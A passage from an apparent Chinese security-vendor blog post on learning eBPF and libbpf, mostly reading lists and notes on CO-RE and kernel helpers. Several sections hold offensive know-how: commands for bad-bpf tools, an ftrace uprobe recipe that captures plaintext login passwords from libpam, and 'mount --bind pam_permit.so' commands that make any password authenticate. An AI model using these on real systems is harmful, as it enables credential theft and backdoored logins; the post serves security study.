https://github.com/pathtofile/bad-bpf/blob/main/src/writeblocker.bpf.c
(A collection of malicious eBPF programs)
————————————————————————–

6.1 示例

/home/scz/src/bad-bpf-scz/src/bin

bpfdos // sys_enter_ptrace
// bpf_send_signal
exechijack // sys_enter_execve
// bpf_probe_write_user
pidhide // sys_enter_getdents64
// bpf_tail_call、bpf_probe_write_user
sudoadd // sys_enter_openat sys_enter_read /etc/sudoers
// bpf_probe_write_user
writeblocker // __x64_sys_write
textreplace // sys_enter_openat sys_enter_read
textreplace2 // 一个更高级的示例

cd /home/scz/src/bad-bpf-scz/src/bin

./writeblocker -p $(pidof vi)

./textreplace -f /proc/modules -i ‘e1000’ -r ‘NSFOC’

./textreplace -f /sys/class/net/ens33/address \
-i $(cat /sys/class/net/ens33/address) \
-r ’00:00:00:00:00:00′

只能骗”cat /sys/class/net/ens33/address”,骗不了”ifconfig ens33″

七、 libbpf (eBPF loader)

libbpf号称要替换BCC,遍历

————————————————————————–
https://github.com/libbpf/libbpf

https://github.com/iovisor/bcc/tree/master/libbpf-tools

LIBBPF API
https://libbpf.readthedocs.io/en/latest/api.html

BPF Portability and CO-RE – Andrii Nakryiko [2020-02-19]
https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html
https://nakryiko.com/posts/bpf-portability-and-co-re/

BCC to libbpf conversion guide – Andrii Nakryiko [2020-02-20]
https://facebookmicrosites.github.io/bpf/blog/2020/02/20/bcc-to-libbpf-howto-guide.html
https://nakryiko.com/posts/bcc-to-libbpf-howto-guide/
(作者认为libbpf相比BCC更有优势)

BPF CO-RE reference guide – Andrii Nakryiko [2021-10-24]
https://nakryiko.com/posts/bpf-core-reference-guide/
(fentry/fexit/fmod_ret/tp_btf都是”BTF-enabled”的)

Building BPF applications with libbpf-bootstrap – Andrii Nakryiko [2020-11-29]
https://nakryiko.com/posts/libbpf-bootstrap/
https://github.com/libbpf/libbpf-bootstrap
(不只是bootstrap.bpf.c,包含多个libbfp编程示例)

https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/progs/test_attach_probe.c
(有演示BPF_KSYSCALL的用法)

Journey to libbpf 1.0 – Andrii Nakryiko [2022-08-22]
https://nakryiko.com/posts/libbpf-v1/

Libbpf: the road to v1.0
https://github.com/libbpf/libbpf/wiki/Libbpf:-the-road-to-v1.0

Tips and Tricks for Writing Linux BPF Applications with libbpf – Wenbo Zhang [2020-12-14]

Tips and Tricks for Writing Linux BPF Applications with libbpf


(提到__uint(map_flags, BPF_F_NO_PREALLOC))
(提到bpf_map__resize,动态调整map大小)

https://github.com/iovisor/bcc/blob/master/libbpf-tools/readahead.c
(演示bpf_program__set_attach_target,主要用途是兼容性)
————————————————————————–

7.1 arg0 type FWD is not a struct

这是内核BUG,Kernel 5.15.78已修复此BUG

————————————————————————–
“invalid bpf_context access” when trying to read `regs` parameter – [2022-07-01]
https://stackoverflow.com/questions/72824924/invalid-bpf-context-access-when-trying-to-read-regs-parameter
https://github.com/harai/invalidbpfcontext
https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.15.78
(This issue has been fixed in Linux 5.15.78)
(搜”With just the forward declaration”)
————————————————————————–

7.2 connect_block.bpf.c

练习题,将bpftrace版的connect_block.bt翻译成libbpf版

7.2.1 bpf_strncmp

参看

————————————————————————–
introduce bpf_strncmp() helper – [2021-11-30]
https://lore.kernel.org/bpf/20211130142215.1237217-1-houtao1@huawei.com/T/

https://stackoverflow.com/questions/73430502/ebpf-unknown-opcode-comparing-strings
https://stackoverflow.com/questions/60383861/failure-to-compare-strings-with-ebpf
————————————————————————–

在eBPF代码中进行字符串比较一直不尽人意,这与eBPF的校验器有关,安全稳定是eBPF的首要原则。libbpf 0.5.0没有bpf_strncmp,用git拉最新版libbpf,自编译之,支持bpf_strncmp;但Kernel 5.15.0-52不支持bpf_strncmp。

内核支持的bpf-helpers(7)函数可在/proc/kallsyms中找到,比如

$ grep -w bpf_get_current_comm /proc/kallsyms
ffffffffa3e61de0 T bpf_get_current_comm

$ grep -w bpf_strncmp /proc/kallsyms
(无输出)

内核支持的bpf-helpers(7)函数在vmlinux.h中有相应的枚举值

————————————————————————–
enum bpf_func_id {

BPF_FUNC_get_current_pid_tgid = 14,
BPF_FUNC_get_current_uid_gid = 15,
BPF_FUNC_get_current_comm = 16,

};
————————————————————————–

$ grep BPF_FUNC_strncmp vmlinux.h
(无输出)

7.3 pamsnoop.bpf.c

练习题,将bpftrace版的pamsnoop.bt翻译成libbpf版

7.4 基于eBPF的后门口令

7.4.1 _unix_verify_password

pam_unix!_unix_verify_password函数原型如下

————————————————————————–
/*
* \pam-1.4.0\modules\pam_unix\support.c
*/
int _unix_verify_password
(
pam_handle_t *pamh,
/*
* user
*/
const char *name,
/*
* pass
*/
const char *p,
unsigned long long ctrl
)
————————————————————————–

形参name即user,形参p即输入的明文pass,但_unix_verify_password未被导出,导出了pam_sm_authenticate。

————————————————————————–
pam_sm_authenticate // 导出符号
pam_get_user // 取user
pam_get_authtok // 取pass
_unix_verify_password // 检查user/pass
verify_pwd_hash // 编译时被inline展开了
————————————————————————–

7.4.2 用stap查看相关函数调用栈回溯

stap -d /usr/bin/su \
-d /usr/sbin/sshd \
-d /usr/lib/x86_64-linux-gnu/security/pam_unix.so –ldd \
-e ‘probe process(“/lib/x86_64-linux-gnu/libpam.so.0”).function(“pam_get_authtok”) {
print_ubacktrace();println()}’

stap -d /usr/bin/su \
-d /usr/sbin/sshd \
-d /usr/lib/x86_64-linux-gnu/security/pam_unix.so –ldd \
-e ‘probe process(“/usr/lib/x86_64-linux-gnu/security/pam_unix.so”).function(“_unix_verify_password”) {
print_ubacktrace();println()}’

参看stapprobes(3stap),stap支持拦截16进制地址,而不是拦截符号。实测发现不是所有地址都可拦截,看上去stap的反汇编引擎、符号解析引擎有BUG。再就是,好像目标ELF必须有符号信息才行,即使指定16进制地址,相比之下eBPF、ftrace没有这种限制。

7.4.3 verify_pwd_hash

参看

https://github.com/linux-pam/linux-pam/blob/master/modules/pam_unix/passverify.c

有个verify_pwd_hash函数,_unix_verify_password会调verify_pwd_hash,但后者被inline展开了,pam_unix.dbg没有verify_pwd_hash这个符号,只能用逆向工程的套路定位被inline展开的verify_pwd_hash。

7.4.4 pamtamper.bpf.c

参看

基于eBPF的SSH后门 – treebacker [2021-11-29]
https://xz.aliyun.com/t/10564

练习题,用libbpf实现该作者的思路。

7.4.5 用ftrace/uprobe_events嗅探明文口令

用eBPF嗅探SSH登录或者su的明文口令,都需要编程,需要第三方工具。可用OS自带的ftrace/uprobe_events达成同一目的,但ftrace只能嗅探明文口令,没法修改hash。

对于bpftrace或libbpf编程,可用uprobe+uretprobe对付out型参数;对于利用shell命令进行文件操作的ftrace,并不便于uprobe+uretprobe,此处不考虑C编程或shellscript操作ftrace。

可在pam_get_authtok函数返回后利用rdi寄存器残像,其等于pamh,进而获取pamh->user、pamh->authtok。利用寄存器残像属于Hacking,有人对寄存器残像不理解,rdi、rsi、rdx、rcx对应前4个形参,这些都属于易失性寄存器,进入函数后不会在prologue阶段压栈保存,离开函数前不会在epilogue阶段弹栈恢复。有人在pam_get_authtok函数返回后同时利用rdi、rdx寄存器残像,理解其原理时无妨,切不可误以为pam_get_authtok第1、3形参在uretprobe处未变,rdi只是碰巧恢复了,rdx则完全不等于原第3形参authtok,rdx实际等于pamh->authtok。

下面的ftrace利用寄存器残像嗅探user、pass

————————————————————————–
cd /sys/kernel/tracing
echo > trace
echo ‘r:some_event /lib/x86_64-linux-gnu/libpam.so.0:0x88b0 comm=$comm user=+0(+0x30(%di)):string pass=+0(+0(%di)):string’ > uprobe_events
cat events/uprobes/some_event/format
echo 1 > events/uprobes/some_event/enable
echo 1 > tracing_on
cat /sys/kernel/tracing/trace_pipe

echo 0 > tracing_on
echo 0 > events/uprobes/some_event/enable
echo ‘-:some_event’ >> uprobe_events
————————————————————————–

用ftrace嗅探明文口令意义有限,毕竟只有root才能ftrace。

7.4.6 基于pam_permit.so的后门

参看

Linux Pam后门总结拓展 – [2020-06-22]
https://xz.aliyun.com/t/7902

学到一些歪招

mount –bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_unix.so
umount /lib/x86_64-linux-gnu/security/pam_unix.so

第一条mount命令使得将来试图加载pam_unix.so时实际加载pam_permit.so,效果是任意口令均能认证成功,可用SSH登录及su测试之。过去我不知道”mount –bind”还能操作单个文件,此次专门看了一眼man手册,确实有一句

One can also remount a single file (on a single file)

参看

/etc/pam.d/common-auth

认证失败时会用pam_deny.so,同样可以用mount屏蔽之

mount –bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_deny.so
umount /lib/x86_64-linux-gnu/security/pam_deny.so

7.5 ttysnoop.bpf.c

练习题,将BCC版的ttysnoop.py翻译成libbpf版

八、 libbpf-bootstrap

8.1 编译

参看

《GIT与GFW》
http://scz.617.cn:8/unix/202211231303.txt

8.2 eBPF代码兼容性

参看

————————————————————————–
BPF Portability and CO-RE – Andrii Nakryiko [2020-02-19]
https://nakryiko.com/posts/bpf-portability-and-co-re/

BPF CO-RE reference guide – Andrii Nakryiko [2021-10-24]
https://nakryiko.com/posts/bpf-core-reference-guide/
————————————————————————–

内核支持BTF时,可以不依赖bpf_probe_read()而用C语法读取内核态内存,搜”field offset relocation”。

利用bpftool生成vmlinux.h,可以代替所有的内核头文件,其中甚至包含从未导出的内部数据结构;但它不包含#define定义的宏,有时必须在some.bpf.c中自定义宏。

BCC可以写”pid_t pid = task->pid”,是因为BCC会将之替换成bpf_probe_read()。即使没有BCC的魔法替换机制,若eBPF代码是BTF_PROG_TYPE_TRACING型,eBPF引擎借助BTF可以理解C语法,可以直接写”task->pid”。兼容性更好的写法是”BPF_CORE_READ(task, pid)”。

BPF_CORE_READ_BITFIELD只能用于”BTF-enabled”的eBPF代码,比如fentry、fexit、fmod_ret、tp_btf等。

九、 其他文献

前面说”遍历”的,就是要一个字一个字看过去的,有些我反复看过,第二遍看比第一遍看领会更多。后面是一些其他相关文献,时间允许时,建议也遍历之。

————————————————————————–
BPF Documentation
https://docs.kernel.org/bpf/

Linux Extended BPF (eBPF) Tracing Tools
https://www.brendangregg.com/ebpf.html

Linux Tracing Workshops Materials
https://github.com/goldshtn/linux-tracing-workshop

Comparing SystemTap and bpftrace – Emanuele Rocca [2021-04-13]
https://lwn.net/Articles/852112/

bpf: whitelist all syscalls for error injection – [2018-03-21]
https://lore.kernel.org/lkml/20180322015908.30433-1-hmclauchlan@fb.com/

Full-system dynamic tracing on Linux using eBPF and bpftrace – Hongli Lai [2019-01-31]
https://www.joyfulbikeshedding.com/blog/2019-01-31-full-system-dynamic-tracing-on-linux-using-ebpf-and-bpftrace.html
(有些内容已经过时,但基本框架适用)

Kernel journey with bpftrace – [2020-05-31]
https://www.dlee-libo.tk/2020/05/31/bpftrace-kernel-journey/

How an Obscure ARM64 Link Option Broke Our BPF Probe – [2022-08-31]
https://rhysre.net/how-an-obscure-arm64-link-option-broke-our-bpf-probe.html
(bpftool btf dump file /sys/kernel/btf/vmlinux format raw | grep tty_write)

Intercepting Zoom’s encrypted data with BPF – <alessandro.d@gmail.com> [2020-10-12]
https://confused.ai/posts/intercepting-zoom-tls-encryption-bpf-uprobes

Tracee: Runtime Security and Forensics using eBPF
https://github.com/aquasecurity/tracee/
https://aquasecurity.github.io/tracee/dev/

System call hooking example arguments are incorrect – [2020-01-22]
https://stackoverflow.com/questions/59851520/system-call-hooking-example-arguments-are-incorrect

use struct pt_regs based syscall calling for x86-64 – Dominik Brodowski [2018-03-30]
https://lwn.net/Articles/750536/

bpf: hash map pre-alloc – Alexei Starovoitov <ast@fb.com> [2016-03-06]
https://lwn.net/Articles/679074/

eBPF IDA Proc
https://github.com/cylance/eBPF_processor
(可以利用IDA的图形化模式)

定制bcc/ebpf在android平台上实现基于dwarf的用户态栈回溯 – 飞翔的猫咪 [2022-09-27]
https://bbs.pediy.com/thread-274546.htm

Linux内核监控在Android攻防中的应用 – evilpan [2022-01-03]
https://evilpan.com/2022/01/03/kernel-tracing/
https://bbs.pediy.com/thread-271043.htm
————————————————————————–

十、 eBPF入门小结

我将eBPF视作调试工具,对直方图之类的统计功能毫无兴趣,前面是我推荐的学习路线。从实践角度看,eBPF涉及bpftrace、BCC Python Bindings、libbpf编程。底层ftrace值得了解一下。若有DTrace、SystemTap经验,学习eBPF会省些事,没有也无所谓。简而言之,依次学习bpftrace、BCC、libbpf。可以预设一些具体小目标,实践之。

最初我对libbpf不感冒,后来发现,libbpf最具实用性,尤其当你的eBPF代码需要在陌生环境中运行时。不像bpftrace、BCC需要一大堆依赖,特别重型,静态链接libbpf的ELF可以随身携带。对于ttysnoop、pamsnoop、pamtamper这类功能来说,显然libbpf化才有实战意义。

版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author

C/ASM程序员